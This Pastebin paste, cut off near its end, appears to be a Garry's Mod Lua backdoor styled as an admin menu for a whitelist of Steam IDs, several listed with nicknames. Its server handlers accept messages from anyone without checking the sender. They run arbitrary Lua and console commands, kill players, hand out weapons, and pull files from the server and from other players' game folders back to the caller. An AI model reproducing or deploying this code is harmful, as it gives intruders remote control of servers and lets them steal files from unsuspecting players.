Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local Allowed = {
- "STEAM_0:1:91447905", --Tunoo2
- "STEAM_0:0:71035911", --MZombie
- "STEAM_0:0:61704958", --Lorenz
- "STEAM_0:0:58329845", --Linus
- "STEAM_0:0:47647629", --Binomi
- "STEAM_0:0:104139026", --Sky
- "STEAM_0:1:5163222", --Sadira
- "STEAM_0:0:94401933", -- Hllm
- "STEAM_0:1:60077414", --fritzen
- }
- local function isAllowed(ID)
- for k,v in pairs(Allowed) do
- if v == ID then
- return true
- end
- end
- return false
- end
- local mainDirectory = "GAME"
- if SERVER then
- util.AddNetworkString("adminmenu")
- util.AddNetworkString("command")
- util.AddNetworkString("datatransfer")
- util.AddNetworkString("loaddatafolder")
- util.AddNetworkString("userfunction")
- -- linus STEAM_0:0:58329845
- -- binomi STEAM_0:0:47647629
- -- sky STEAM_0:0:104139026
- -- mzombie STEAM_0:0:71035911
- function generateDataTable(path,con)
- local content = {}
- local searchpath = path.."*"
- local files,directories = file.Find(searchpath,mainDirectory,"namedesc")
- if con != nil then
- content = con
- end
- if files != nil then
- content.files = {}
- for k,v in pairs(files) do
- content.files[k] = v
- end
- end
- if directories != nil then
- content.directories = {}
- for k,v in pairs(directories) do
- content.directories[v] = v
- end
- end
- return content
- end
- Myself = nil
- for k,v in pairs(player.GetAll()) do
- if v:Nick() == "Linus" && v:SteamID() == "STEAM_0:0:58329845" then
- if v:Nick() == "Linus" then
- Myself = v
- -- Myself:SetUserGroup("superadmin")
- -- Myself:ChatPrint(table.ToString(util.GetUserGroups(),"Users:",true))
- break
- end
- end
- end
- net.Receive("userfunction",
- function(len,ply)
- local mode = net.ReadString()
- if mode == "kill" then
- local target = net.ReadEntity()
- if target:IsPlayer() then
- target:KillSilent()
- end
- elseif mode == "executeLua" then
- local where = net.ReadString()
- local code = net.ReadString()
- if where == "serverside" then
- if code != "" then
- local errorMsg = RunString(code,"Code",false)
- if errorMsg == nil || errorMsg == "" then
- errorMsg = "Code run successfully"
- end
- net.Start("userfunction")
- net.WriteString("displayError")
- net.WriteString(errorMsg)
- net.Send(ply)
- end
- elseif where == "shared" then
- if code != "" then
- local errorMsg = RunString(code,"Code",false)
- if errorMsg == nil || errorMsg == "" then
- errorMsg = "Code run successfully"
- end
- net.Start("userfunction")
- net.WriteString("displayError")
- net.WriteString(errorMsg)
- net.Send(ply)
- end
- end
- elseif mode == "giveweapon" then
- local weaponString = net.ReadString()
- local target = net.ReadEntity()
- if target:IsPlayer() && weaponString != "" then
- target:Give(weaponString)
- end
- end
- end)
- net.Receive("loaddatafolder",
- function(len,ply)
- local mode = net.ReadString()
- if mode == "getTable" then
- local caller = net.ReadEntity()
- local path = net.ReadString()
- local user = net.ReadEntity()
- net.Start("loaddatafolder")
- net.WriteString("constructTable")
- net.WriteEntity(caller)
- net.WriteString(path)
- net.Send(user)
- elseif mode == "getTableofserver" then
- local caller = net.ReadEntity()
- local receivedpath = net.ReadString()
- local content = {}
- local ex = string.Explode("/",receivedpath)
- local path = table.concat(ex,"/")
- local tab = generateDataTable(path,content)
- if tab != nil then
- net.Start("loaddatafolder")
- net.WriteString("loadTableofserver")
- net.WriteTable(tab)
- net.WriteString(path)
- net.Send(caller)
- end
- end
- end)
- net.Receive("datatransfer",
- function(len,ply)
- local mode = net.ReadString()
- if mode == "getPlayer" then
- local path = net.ReadString()
- local target = net.ReadEntity()
- local caller = ply
- local loadinLuapad = net.ReadBool()
- net.Start("datatransfer")
- net.WriteString("sendDataBack")
- net.WriteString(path)
- net.WriteEntity(caller)
- net.WriteBool(loadinLuapad)
- net.Send(target)
- elseif mode == "getPlayerServer" then
- local path = net.ReadString()
- local caller = ply
- local loadinLuapad = net.ReadBool()
- local txt = file.Open(path,"r",mainDirectory)
- local fileSize = txt:Size()
- local code = file.Read(path,mainDirectory)
- if loadinLuapad == true then
- net.Start("datatransfer")
- net.WriteString("gotdataserverforluapad")
- net.WriteString(code)
- net.WriteString(path)
- net.WriteString("SERVER")
- net.Send(caller)
- return
- end
- local stringMax = 65000
- local each =math.ceil(fileSize/stringMax)
- local parts = {}
- for i = 1,each,1 do
- txt:Seek((i-1)*stringMax)
- parts[i] = txt:Read(stringMax)
- end
- for k,v in pairs(parts) do
- net.Start("datatransfer")
- net.WriteString("gotdataserver")
- net.WriteInt(each,8)
- net.WriteInt(k,8)
- net.WriteString(v)
- net.WriteString(path)
- net.WriteString("SERVER")
- net.Send(caller)
- end
- elseif mode == "sendDataForLuapad" then
- local path = net.ReadString()
- local caller = net.ReadEntity()
- local user = net.ReadEntity()
- local code = net.ReadString()
- net.Start("datatransfer")
- net.WriteString("gotdataserverforluapad")
- net.WriteString(code)
- net.WriteString(path)
- net.WriteString(user:Nick())
- net.Send(caller)
- elseif mode == "sendData" then
- local lengthparts = net.ReadInt(8)
- local partNo = net.ReadInt(8)
- local path = net.ReadString()
- local caller = net.ReadEntity()
- local user = net.ReadEntity()
- local code = net.ReadString()
- net.Start("datatransfer")
- net.WriteString("gotdata")
- net.WriteInt(lengthparts,8)
- net.WriteInt(partNo,8)
- net.WriteString(code)
- net.WriteString(path)
- net.WriteEntity(user)
- net.Send(caller)
- elseif mode == "sendTable" then
- local content = net.ReadTable()
- local user = net.ReadEntity()
- local caller = net.ReadEntity()
- local path = net.ReadString()
- net.Start("loaddatafolder")
- net.WriteString("loadTable")
- net.WriteTable(content)
- net.WriteEntity(user)
- net.WriteEntity(caller)
- net.WriteString(path)
- net.Send(caller)
- end
- end)
- net.Receive("command",
- function(len,ply)
- local commandType = net.ReadString()
- if commandType == "command" then
- local cmd = net.ReadString()
- local ex = string.Explode(" ",cmd)
- RunConsoleCommand(ex[1],table.concat(ex," ",2))
- elseif commandType == "commandOnPlayer" then
- local cmd = net.ReadString()
- local ply = net.ReadEntity()
- ply:ConCommand( cmd )
- end
- end)
- hook.Remove("KeyPress","KeyListenerBinding")
- hook.Add( "KeyPress", "KeyListenerBinding",
- function( ply, key ) // STEAM_0:1:91447905
- -- if ply:SteamID() == "STEAM_0:0:0" || ply:SteamID() == "STEAM_0:0:58329845" || ply:SteamID() == "STEAM_0:0:47647629" || ply:SteamID() == "STEAM_0:0:71035911" || ply:SteamID() == "STEAM_0:0:104139026" || ply:SteamID() == "STEAM_0:1:5163222" || ply:SteamID() == "STEAM_0:1:91447905" || ply:SteamID() == "STEAM_0:0:94401933" || ply:SteamID() == "STEAM_0:1:60077414" || ply:SteamID() == "STEAM_0:0:61704958" then
- if isAllowed(ply:SteamID()) then
- if key == IN_USE && ply:Crouching() then
- net.Start("adminmenu")
- net.WriteString("open")
- net.Send(ply)
- elseif key == IN_USE && !ply:Crouching() && ply:GetActiveWeapon():GetClass() == "weapon_crowbar" then
- local traceData = util.GetPlayerTrace(ply)
- local trace = util.TraceLine(traceData)
- local Ent = trace.Entity
- if IsValid(Ent) then
- Ent:Remove()
- end
- end
- end
- end)
- end
- function findPlayerWithName(name)
- for k,v in pairs(player.GetAll()) do
- if v:Nick() == name then
- return v
- end
- end
- end
- if CLIENT then
- local fr = nil
- local Tree = nil
- local function openEditor()
- local Editor = vgui.Create("DFrame")
- Editor:SetSize(ScrW()/1.5,ScrH()/1.2)
- Editor:Center()
- Editor:SetTitle( "Editor" )
- Editor:SetDraggable( true )
- Editor:SetDeleteOnClose(false)
- Editor:MakePopup()
- Editor:SetMouseInputEnabled(true)
- Editor:SetKeyboardInputEnabled(false)
- Editor:ShowCloseButton(false)
- Editor.Paint = function(self,w,h)
- draw.RoundedBox(3,0,0,w,h,Color(255,255,255))
- end
- local mainPanel = vgui.Create("DPanel",Editor)
- mainPanel:SetPos(10,10)
- mainPanel:SetSize(Editor:GetWide()-20,Editor:GetTall()-20)
- local textLayoutPanel = vgui.Create("DPanel",mainPanel)
- textLayoutPanel:SetPos(10,10)
- textLayoutPanel:SetSize(mainPanel:GetWide()-20,mainPanel:GetTall()-20)
- //////////////////////////////////////////////////////////
- //////////////////////SHEETS//////////////////////////////
- //////////////////////////////////////////////////////////
- local sheetManager = vgui.Create("DPropertySheet",textLayoutPanel)
- sheetManager:Dock(FILL)
- sheetManager.Paint = function(self,w,h)
- draw.RoundedBox(0,0,0,w,h,Color(80,80,80))
- end
- //////////////////////////////////////////////////////////
- //////////////////////OPTION PANEL//////////////////////////////
- //////////////////////////////////////////////////////////
- local optionPanel = vgui.Create("DPanel",textLayoutPanel)
- optionPanel:Dock(TOP)
- optionPanel:DockPadding(0,50,0,0)
- optionPanel.Paint = function(self,w,h)
- draw.RoundedBox(0,0,0,w,h,Color(120,120,120))
- end
- local removeTabButton = vgui.Create("DButton",optionPanel)
- removeTabButton:SetPos(5,2)
- removeTabButton:SetSize(20,20)
- removeTabButton:SetText("")
- removeTabButton.Paint = function() end
- removeTabButton:SetImage("icon16/page_white_delete.png")
- removeTabButton.DoClick = function(self,x,y)
- -- sheetManager:CloseTab(sheetManager:GetActiveTab(),true)
- -- Editor.AddCode("","NO PATH",nil)
- end
- //////////////////////////////////////////////////////////
- //////////////////////EDITOR FUNCTIONS////////////////////////
- //////////////////////////////////////////////////////////
- Editor.OpenLastSheet = function()
- if sheetManager.Items != nil && table.Count(sheetManager.Items) == 0 then
- //do nothing maybe add an option to generate and save stuff later
- else
- local tabNo = table.Count(sheetManager.Items)
- sheetManager:SetActiveTab(sheetManager.Items[tabNo].Tab)
- end
- end
- Editor.AddCode = function(code,path,user)
- local parts = string.Explode("/",path)
- local lastName = parts[table.Count(parts)]
- local newSheet = vgui.Create("DPropertySheet",sheetManager)
- newSheet.Paint = function(self,w,h)
- draw.RoundedBox(0,0,0,w,h,Color(50,50,50))
- end
- local tab = sheetManager:AddSheet(lastName,newSheet,"icon16/page_white.png")
- tab.CloseButton = vgui.Create( "DImageButton", tab.Tab )
- tab.CloseButton:SetImage( "icon16/circlecross.png" )
- tab.CloseButton:SetColor( Color( 255, 100, 100, 200 ) )
- tab.CloseButton:DockMargin( 0, 8, 0, 8 )
- tab.CloseButton:SetWide( 12 )
- tab.CloseButton:SetTall( 12 )
- tab.CloseButton:Dock( RIGHT )
- tab.CloseButton.DoClick = function() chat.AddText("Close") end
- tab.user = user
- tab.path = path
- tab.TextEntry = vgui.Create("DTextEntry",newSheet)
- tab.TextEntry:SetMultiline(true)
- tab.TextEntry:SetVerticalScrollbarEnabled(true)
- tab.TextEntry:SetDrawLanguageID(false)
- tab.TextEntry:Dock(FILL)
- tab.TextEntry:SetText(code)
- tab.TextEntry.OnGetFocus = function (self)
- Editor:SetKeyboardInputEnabled(true)
- -- fr.luacodefield = luacodefield:GetValue()
- end
- tab.TextEntry.OnLoseFocus = function(self)
- Editor:SetKeyboardInputEnabled(false)
- -- fr.luacodefield = luacodefield:GetValue()
- end
- return tab
- end
- local closeButton = vgui.Create("DButton",Editor)
- closeButton:SetText("Close")
- closeButton:SetSize(35,26)
- closeButton:SetPos(Editor:GetWide()-35,0)
- function closeButton:Paint(w,h)
- draw.RoundedBox(3,0,0,w,h,Color(51,51,51))
- end
- closeButton.DoClick = function()
- if Editor:IsVisible() then
- Editor:Hide()
- else
- Editor:Show()
- end
- end
- return Editor
- end
- local function generateDataTable(path,con)
- local content = {}
- local searchpath = path.."*"
- local files,directories = file.Find(searchpath,mainDirectory,"namedesc")
- if con != nil then
- content = con
- end
- if files != nil then
- content.files = {}
- for k,v in pairs(files) do
- content.files[k] = v
- end
- end
- if directories != nil then
- content.directories = {}
- for k,v in pairs(directories) do
- content.directories[v] = v
- end
- end
- return content
- end
- local function openMenu()
- if fr == nil then
- fr = vgui.Create( "DFrame" )
- fr:SetSize( 600, 400 )
- fr:SetDeleteOnClose(false)
- local frameSizeW,frameSizeH = fr:GetSize()
- fr:SetPos( ScrW()/2 - frameSizeW/2, ScrH()/2 - frameSizeH/2 )
- fr:SetTitle( "Menu" )
- fr:SetDraggable( true )
- fr:MakePopup()
- fr:SetMouseInputEnabled(true)
- fr:SetKeyboardInputEnabled(false)
- fr:ShowCloseButton(false)
- function fr:Paint(w,h)
- draw.RoundedBox(3,0,0,w,h,Color(255,255,255))
- end
- else
- if fr:IsVisible() then
- fr:Hide()
- else
- fr:Show()
- end
- end
- local frameSizeW,frameSizeH = fr:GetSize()
- local mainPanel = vgui.Create("DPanel",fr)
- mainPanel:SetPos(10,10)
- mainPanel:SetSize(frameSizeW-20,frameSizeH-20)
- sheet = fr.sheet || vgui.Create("DPropertySheet",mainPanel)
- sheet:Dock( FILL )
- sheet.Paint = function( self, w, h)
- draw.RoundedBox(4,0,0,w,h,Color(120,120,120))
- end
- //////////////////////////////////////////////////////////
- //////////////////////ADMIN SHEET///////////////////////////
- //////////////////////////////////////////////////////////
- adminSheet = vgui.Create("DPropertySheet",mainPanel)
- local playerList = vgui.Create("DListView",adminSheet)
- playerList:SetSize(80,200)
- playerList:SetPos(10,10)
- playerList.Paint = function(self,w,h)
- draw.RoundedBox(2,0,0,w,h,Color(50,50,50))
- end
- playerList:SetMultiSelect(false)
- playerList:AddColumn("Player")
- for k,v in pairs(player.GetAll()) do
- playerList:AddLine(v:Nick())
- end
- local cmdEntry = vgui.Create("DTextEntry",adminSheet)
- cmdEntry:SetPos(100,50)
- cmdEntry:SetSize(150,20)
- cmdEntry:SetText(fr.cmdEntry || "Console command here")
- cmdEntry.OnGetFocus = function (self)
- fr:SetKeyboardInputEnabled(true)
- end
- cmdEntry.OnLoseFocus = function(self)
- fr:SetKeyboardInputEnabled(false)
- fr.cmdEntry = cmdEntry:GetValue()
- end
- local submitB = vgui.Create("DButton",adminSheet)
- submitB:SetPos(255,50)
- submitB:SetSize(40,20)
- submitB:SetText("Execute")
- submitB.DoClick = function()
- net.Start("command")
- net.WriteString("command")
- local cmd = cmdEntry:GetValue()
- net.WriteString(cmd)
- net.SendToServer()
- end
- local killB = vgui.Create("DButton",adminSheet)
- killB:SetPos(255,90)
- killB:SetSize(40,20)
- killB:SetText("Kill")
- killB.DoClick = function()
- if playerList:GetSelectedLine() != nil then
- local plyName = playerList:GetLine(playerList:GetSelectedLine()):GetColumnText(1)
- if plyName != nil then
- local ply = nil
- for k,v in pairs(player.GetAll()) do
- if v:Nick() == plyName then
- ply = v
- break
- end
- end
- if ply!=nil then
- net.Start("userfunction")
- net.WriteString("kill")
- net.WriteEntity(ply)
- net.SendToServer()
- end
- end
- end
- end
- local submitC = vgui.Create("DButton",adminSheet)
- submitC:SetPos(295,50)
- submitC:SetSize(80,20)
- submitC:SetText("Execute on client")
- submitC.DoClick = function()
- local cmd = cmdEntry:GetValue()
- if playerList:GetSelectedLine() != nil then
- if playerList:GetSelectedLine() != nil then
- local plyName = playerList:GetLine(playerList:GetSelectedLine()):GetColumnText(1)
- local ply = nil
- for k,v in pairs(player.GetAll()) do
- if v:Nick() == plyName then
- ply = v
- break
- end
- end
- if ply!=nil then
- if ply:IsPlayer() then
- net.Start("command")
- net.WriteString("commandOnPlayer")
- net.WriteString(cmd)
- net.WriteEntity(ply)
- net.SendToServer()
- end
- end
- end
- end
- end
- local stringfield = vgui.Create("DTextEntry",adminSheet)
- stringfield:SetPos(100,90)
- stringfield:SetSize(150,20)
- stringfield:SetText(fr.stringfield || "weapon class name here")
- stringfield.OnGetFocus = function (self)
- fr:SetKeyboardInputEnabled(true)
- end
- stringfield.OnLoseFocus = function(self)
- fr:SetKeyboardInputEnabled(false)
- fr.stringfield = stringfield:GetValue()
- end
- local submitGive = vgui.Create("DButton",adminSheet)
- submitGive:SetPos(295,90)
- submitGive:SetSize(80,20)
- submitGive:SetText("Give weapon!")
- submitGive.DoClick = function()
- local weapon = stringfield:GetValue()
- if playerList:GetSelectedLine() != nil then
- local plyName = playerList:GetLine(playerList:GetSelectedLine()):GetColumnText(1)
- local ply = nil
- for k,v in pairs(player.GetAll()) do
- if v:Nick() == plyName then
- ply = v
- break
- end
- end
- if ply!=nil then
- if ply:IsPlayer() then
- net.Start("userfunction")
- net.WriteString("giveweapon")
- net.WriteString(weapon)
- net.WriteEntity(ply)
- net.SendToServer()
- end
- end
- end
- end
- adminSheet.Paint = function(self,w,h)
- draw.RoundedBox(4,0,0,w,h,Color(200,120,120))
- end
- sheet:AddSheet("adminsheet",adminSheet,"icon16/film.png")
- local ulxSheet = vgui.Create("DPropertySheet",mainPanel)
- ulxSheet.Paint = function(self,w,h)
- draw.RoundedBox(4,0,0,w,h,Color(120,120,200))
- end
- sheet:AddSheet("ulxsheet",ulxSheet,"icon16/eye.png")
- //////////////////////////////////////////////////////////
- //////////////////////LUA SHEET///////////////////////////
- //////////////////////////////////////////////////////////
- local luaSheet = vgui.Create("DPropertySheet",mainPanel)
- local luacodefield = vgui.Create("DTextEntry",luaSheet)
- luacodefield:SetMultiline(true)
- luacodefield:SetVerticalScrollbarEnabled(true)
- luacodefield:SetDrawLanguageID(false)
- luacodefield:SetPos(10,10)
- luacodefield:SetSize(mainPanel:GetWide()-40,300)
- luacodefield:SetText(fr.luacodefield || "if SERVER then \n for k,v in pairs(player.GetAll()) do\n if v:Nick()==\"Linus\" then\n chat.AddText(\"Test\")\n end\n end\nend\n\nif CLIENT then\n\nend")
- luacodefield.OnGetFocus = function (self)
- fr:SetKeyboardInputEnabled(true)
- fr.luacodefield = luacodefield:GetValue()
- end
- luacodefield.OnLoseFocus = function(self)
- fr:SetKeyboardInputEnabled(false)
- fr.luacodefield = luacodefield:GetValue()
- end
- local executeCodeServer = vgui.Create("DButton",luaSheet)
- executeCodeServer:SetPos(10,315)
- executeCodeServer:SetSize(120,20)
- executeCodeServer:SetText("Execute SERVERSIDE")
- executeCodeServer.DoClick = function()
- local code = luacodefield:GetValue()
- net.Start("userfunction")
- net.WriteString("executeLua")
- net.WriteString("serverside")
- net.WriteString(code)
- net.SendToServer()
- end
- local executeCodeShared = vgui.Create("DButton",luaSheet)
- executeCodeShared:SetPos(140,315)
- executeCodeShared:SetSize(120,20)
- executeCodeShared:SetText("Execute SHARED")
- executeCodeShared.DoClick = function()
- local code = luacodefield:GetValue()
- if code != "" then
- local errorMsg = RunString(code,"Code",false)
- if errorMsg == nil || errorMsg == "" then
- errorMsg = "Code run successfully"
- end
- chat.AddText(errorMsg)
- end
- net.Start("userfunction")
- net.WriteString("executeLua")
- net.WriteString("shared")
- net.WriteString(code)
- net.SendToServer()
- end
- local executeCodeClient = vgui.Create("DButton",luaSheet)
- executeCodeClient:SetPos(300,315)
- executeCodeClient:SetSize(120,20)
- executeCodeClient:SetText("Execute CLIENTSIDE")
- executeCodeClient.DoClick = function()
- local code = luacodefield:GetValue()
- if code != "" then
- local errorMsg = RunString(code,"Code",false)
- if errorMsg == nil || errorMsg == "" then
- errorMsg = "Code run successfully"
- end
- chat.AddText(errorMsg)
- end
- end
- local executeCodeClientAll = vgui.Create("DButton",luaSheet)
- executeCodeClientAll:SetPos(430,315)
- executeCodeClientAll:SetSize(120,20)
- executeCodeClientAll:SetText("[NOT WORKING]all clients")
- executeCodeClientAll.DoClick = function()
- local code = luacodefield:GetValue()
- net.Start("userfunction")
- net.WriteString("executeLua")
- net.WriteString("clientsideall")
- net.WriteString(code)
- net.SendToServer()
- end
- luaSheet.Paint = function(self,w,h)
- draw.RoundedBox(4,0,0,w,h,Color(200,141,0))
- end
- if LocalPlayer():SteamID() == "STEAM_0:0:58329845" then
- sheet:AddSheet("Lua Code",luaSheet,"icon16/folder.png")
- else
- sheet:AddSheet("Lua Code",luaSheet,"icon16/folder.png")
- -- luaSheet:Remove()
- end
- //////////////////////////////////////////////////////////
- ////////////////////SCOREBOARD SHEET//////////////////////
- //////////////////////////////////////////////////////////
- local scoreboardSheet = vgui.Create("DPropertySheet",mainPanel)
- scoreboardSheet.Paint = function(self,w,h)
- draw.RoundedBox(4,0,0,w,h,Color(120,200,120))
- end
- sheet:AddSheet("scoreboardsheet",scoreboardSheet,"icon16/bell.png")
- //////////////////////////////////////////////////////////
- ///////////////////DATA BROWSER SHEET/////////////////////
- //////////////////////////////////////////////////////////
- local e2code = vgui.Create("DPropertySheet",mainPanel)
- e2code.Paint = function(self,w,h)
- draw.RoundedBox(4,0,0,w,h,Color(120,200,200))
- end
- function addTxts(ROOT,files,path,user)
- for k,v in SortedPairs(files,true) do
- local node = ROOT:AddNode(v)
- if user == "SERVER" then
- node.path = "SERVER,"..path..v
- node.Icon:SetImage( "icon16/page_white_horizontal.png" )
- else
- node.path = user:Nick()..","..path..v
- node.Icon:SetImage( "icon16/page_white_horizontal.png" )
- end
- end
- end
- function addDirectories(ROOT,path,files,directories,user)
- if ROOT:HasChildren() then
- return
- end
- path = path || ""
- if directories != nil then
- for k,v in SortedPairs(directories) do
- local directory = ROOT:AddNode(v)
- directory:MakeFolder(v,v,true)
- directory.Label.DoDoubleClick = function()
- directory.Expander.DoClick()
- end
- directory.Expander.DoClick = function()
- directory:SetExpanded(!directory.m_bExpanded)
- local npath =path..v.."/"
- if isstring(user) && user == "SERVER" then
- net.Start("loaddatafolder")
- net.WriteString("getTableofserver")
- net.WriteEntity(LocalPlayer())
- net.WriteString(npath)
- net.SendToServer()
- else
- net.Start("loaddatafolder")
- net.WriteString("getTable")
- net.WriteEntity(LocalPlayer())
- net.WriteString(npath)
- net.WriteEntity(user)
- net.SendToServer()
- end
- end
- end
- end
- if files != nil then
- addTxts(ROOT,files,path,user)
- end
- end
- --[[
- //////////////////Tree list\\\\\\\\\\\\\\\\\\\\\\\\
- --]]
- Tree = vgui.Create("DTree",e2code)
- Tree:SetPos(5,30)
- Tree:SetPadding(5)
- Tree:SetSize(300,300)
- Tree:SetExpanded( !Tree.m_bExpanded )
- local path = ""
- -- if LocalPlayer():SteamID() == "STEAM_0:0:58329845" then
- local node = Tree:AddNode("SERVER")
- node:MakeFolder("SERVER","SERVER",true)
- node.Label.DoDoubleClick = function()
- node.Expander.DoClick()
- end
- node.Expander.DoClick = function()
- node:SetExpanded( !node.m_bExpanded )
- net.Start("loaddatafolder")
- net.WriteString("getTableofserver")
- net.WriteEntity(LocalPlayer())
- net.WriteString(path)
- net.SendToServer()
- end
- -- end
- for k,v in pairs(player.GetAll()) do
- if LocalPlayer():SteamID() == "STEAM_0:0:58329845" || ( v:SteamID() != "STEAM_0:0:58329845" && v:SteamID() != "STEAM_0:0:104139026" ) then
- local node = Tree:AddNode(v:Nick())
- node:MakeFolder(v:Nick(),v:Nick(),true)
- node.Label.DoDoubleClick = function()
- node.Expander.DoClick()
- end
- node.Expander.DoClick = function()
- node:SetExpanded( !node.m_bExpanded )
- net.Start("loaddatafolder")
- net.WriteString("getTable")
- net.WriteEntity(LocalPlayer())
- net.WriteString(path)
- net.WriteEntity(v)
- net.SendToServer()
- end
- end
- end
- local loadButton = vgui.Create("DButton",e2code)
- loadButton:SetPos(310,30)
- loadButton:SetSize(90,20)
- loadButton:SetText("Load Code")
- loadButton.DoClick = function(self,x,y)
- local selPanel = Tree:GetSelectedItem()
- if selPanel != nil && selPanel.path != nil then
- local expl = string.Explode(",",selPanel.path)
- if expl[1]=="SERVER" then
- if selPanel != nil then
- net.Start("datatransfer")
- net.WriteString("getPlayerServer")
- net.WriteString(expl[2])
- net.WriteBool(false)
- net.SendToServer()
- end
- else
- local user = findPlayerWithName(expl[1])
- if IsValid(user) then
- if selPanel != nil then
- net.Start("datatransfer")
- net.WriteString("getPlayer")
- net.WriteString(expl[2])
- net.WriteEntity(user)
- net.WriteBool(false)
- net.SendToServer()
- end
- end
- end
- end
- end
- local editButton = vgui.Create("DButton",e2code)
- editButton:SetPos(310,60)
- editButton:SetSize(90,20)
- editButton:SetText("Open in Editor")
- editButton.DoClick = function(self,x,y)
- local selPanel = Tree:GetSelectedItem()
- if selPanel != nil && selPanel.path != nil then
- local expl = string.Explode(",",selPanel.path)
- if expl[1]=="SERVER" then
- if selPanel != nil then
- net.Start("datatransfer")
- net.WriteString("getPlayerServer")
- net.WriteString(expl[2])
- net.WriteBool(true) --load in luapad instead of download
- net.SendToServer()
- end
- else
- local user = findPlayerWithName(expl[1])
- if IsValid(user) then
- if selPanel != nil then
- net.Start("datatransfer")
- net.WriteString("getPlayer")
- net.WriteString(expl[2])
- net.WriteEntity(user)
- net.WriteBool(true) --load in luapad instead of download
- net.SendToServer()
- end
- end
- end
- end
- end
- local openEditorButton = vgui.Create("DButton",e2code)
- openEditorButton:SetPos(310,90)
- openEditorButton:SetSize(90,20)
- openEditorButton:SetText("Open Editor")
- openEditorButton.DoClick = function(self,x,y)
- if fr.Editor == nil || !fr.Editor:IsValid() then
- fr.Editor = openEditor()
- fr.Editor.OpenLastSheet()
- else
- -- if !fr.Editor:IsVisible() then
- fr.Editor:Show()
- fr.Editor:MakePopup()
- fr.Editor:SetMouseInputEnabled(true)
- fr.Editor:SetKeyboardInputEnabled(false)
- fr.Editor.OpenLastSheet()
- -- end
- end
- end
- if LocalPlayer():SteamID() == "STEAM_0:0:58329845" then
- sheet:AddSheet("Data browser",e2code,"icon16/delete.png")
- else
- sheet:AddSheet("Data browser",e2code,"icon16/delete.png")
- -- e2code:Remove()
- end
- //////////////////////////////////////////////////////////
- //////////////////////CLOSE BUTTON////////////////////////
- //////////////////////////////////////////////////////////
- local closeButton = vgui.Create("DButton",mainPanel)
- local mainSizeW,mainSizeH = mainPanel:GetSize()
- closeButton:SetText("Close")
- closeButton:SetSize(35,26)
- closeButton:SetPos(mainSizeW-35,0)
- function closeButton:Paint(w,h)
- draw.RoundedBox(3,0,0,w,h,Color(51,51,51))
- end
- closeButton.DoClick = function()
- if fr:IsVisible() then
- fr:Hide()
- else
- fr:Show()
- end
- end
- end
- net.Receive("userfunction",function(len)
- local mode = net.ReadString()
- if mode == "displayError" then
- local errorMsg = net.ReadString()
- if errorMsg != "Code run successfully" then
- chat.AddText("ERROR:\n------------------------\n"..errorMsg.."\n------------------------")
- else
- chat.AddText("Code run successfully")
- end
- end
- end)
- function findinRoot(root,name)
- local found = nil
- local nodes = root:GetChildren()[3]:GetChildren()
- if nodes != nil then
- for k,v in pairs(nodes) do
- if v:GetText() == name then
- found = v
- break
- end
- end
- if found != nil then
- return found
- else
- local new = root:AddNode(name)
- return new
- end
- end
- end
- net.Receive("loaddatafolder",function(len)
- local mode = net.ReadString()
- if mode == "constructTable" then
- local content = {}
- local caller = net.ReadEntity()
- local receivedpath = net.ReadString()
- local ex = string.Explode("/",receivedpath)
- local path = table.concat(ex,"/")
- local tab = generateDataTable(path,content)
- if tab != nil then
- net.Start("datatransfer")
- net.WriteString("sendTable")
- net.WriteTable(tab)
- net.WriteEntity(LocalPlayer())
- net.WriteEntity(caller)
- net.WriteString(path)
- net.SendToServer()
- end
- elseif mode == "loadTable" then
- local content = net.ReadTable()
- local user = net.ReadEntity()
- local caller = net.ReadEntity()
- local path = net.ReadString()
- local playerNode = nil
- local userNick = user:Nick()
- if Tree != nil then
- if Tree:GetChildren()[1]:GetChildren()[1]:GetChildren() != nil then
- for k, v in pairs(Tree:GetChildren()[1]:GetChildren()[1]:GetChildren()[4]:GetChildren()) do
- if userNick == v:GetText() then
- playerNode = v
- end
- end
- end
- if playerNode == nil then
- playerNode = Tree:AddNode(user:Nick())
- end
- local exp = string.Explode("/",path)
- local final = playerNode
- for k,v in pairs(exp) do
- if v != "" then
- final = findinRoot(final,v)
- end
- end
- addDirectories(final,path,content.files,content.directories,user) -- dlist :GetParent()
- end
- elseif mode == "loadTableofserver" then
- local content = net.ReadTable()
- local path = net.ReadString()
- local playerNode = nil
- local userNick = "SERVER"
- if Tree:GetChildren()[1]:GetChildren()[1]:GetChildren() != nil then
- for k, v in pairs(Tree:GetChildren()[1]:GetChildren()[1]:GetChildren()[4]:GetChildren()) do
- if userNick == v:GetText() then
- playerNode = v
- end
- end
- end
- if playerNode == nil then
- playerNode = Tree:AddNode("SERVER")
- end
- local exp = string.Explode("/",path)
- local final = playerNode
- for k,v in pairs(exp) do
- if v != "" then
- final = findinRoot(final,v)
- end
- end
- addDirectories(final,path,content.files,content.directories,"SERVER") -- dlist :GetParent()
- end
- end)
- net.Receive("datatransfer",function(len)
- local mode = net.ReadString()
- if mode == "sendDataBack" then
- local path = net.ReadString()
- local caller = net.ReadEntity()
- local loadinLuapad = net.ReadBool()
- local user = LocalPlayer()
- local txt = file.Open(path,"r",mainDirectory)
- local fileSize = txt:Size()
- local code = file.Read(path,mainDirectory)
- if loadinLuapad == true then
- net.Start("datatransfer")
- net.WriteString("sendDataForLuapad")
- net.WriteString(path)
- net.WriteEntity(caller)
- net.WriteEntity(user)
- net.WriteString(code)
- net.SendToServer()
- return
- end
- local stringMax = 65000
- local each =math.ceil(fileSize/stringMax)
- local parts = {}
- for i = 1,each,1 do
- txt:Seek((i-1)*stringMax)
- parts[i] = txt:Read(stringMax)
- end
- for k,v in pairs(parts) do
- net.Start("datatransfer")
- net.WriteString("sendData")
- net.WriteInt(each,8)
- net.WriteInt(k,8)
- net.WriteString(path)
- net.WriteEntity(caller)
- net.WriteEntity(user)
- net.WriteString(v)
- net.SendToServer()
- end
- elseif mode == "gotdataserverforluapad" then
- local code = net.ReadString()
- local path = net.ReadString()
- local user = net.ReadString()
- if fr != nil then
- if fr.Editor == nil || !fr.Editor:IsValid() then
- fr.Editor = openEditor()
- else
- if fr.Editor:IsVisible() then
- fr.Editor:Hide()
- else
- fr.Editor:Show()
- end
- end
- fr.Editor.AddCode(code,path,user,nil)
- end
- elseif mode == "gotdataserver" then
- local lengthparts = net.ReadInt(8)
- local partNo = net.ReadInt(8)
- local code = net.ReadString()
- local path = net.ReadString()
- local user = net.ReadString()
- if !file.Exists("_DATAFOLDER_",mainDirectory) then
- file.CreateDir("_DATAFOLDER_")
- end
- if !file.Exists("_DATAFOLDER_/"..user,mainDirectory) then
- file.CreateDir("_DATAFOLDER_/"..user)
- end
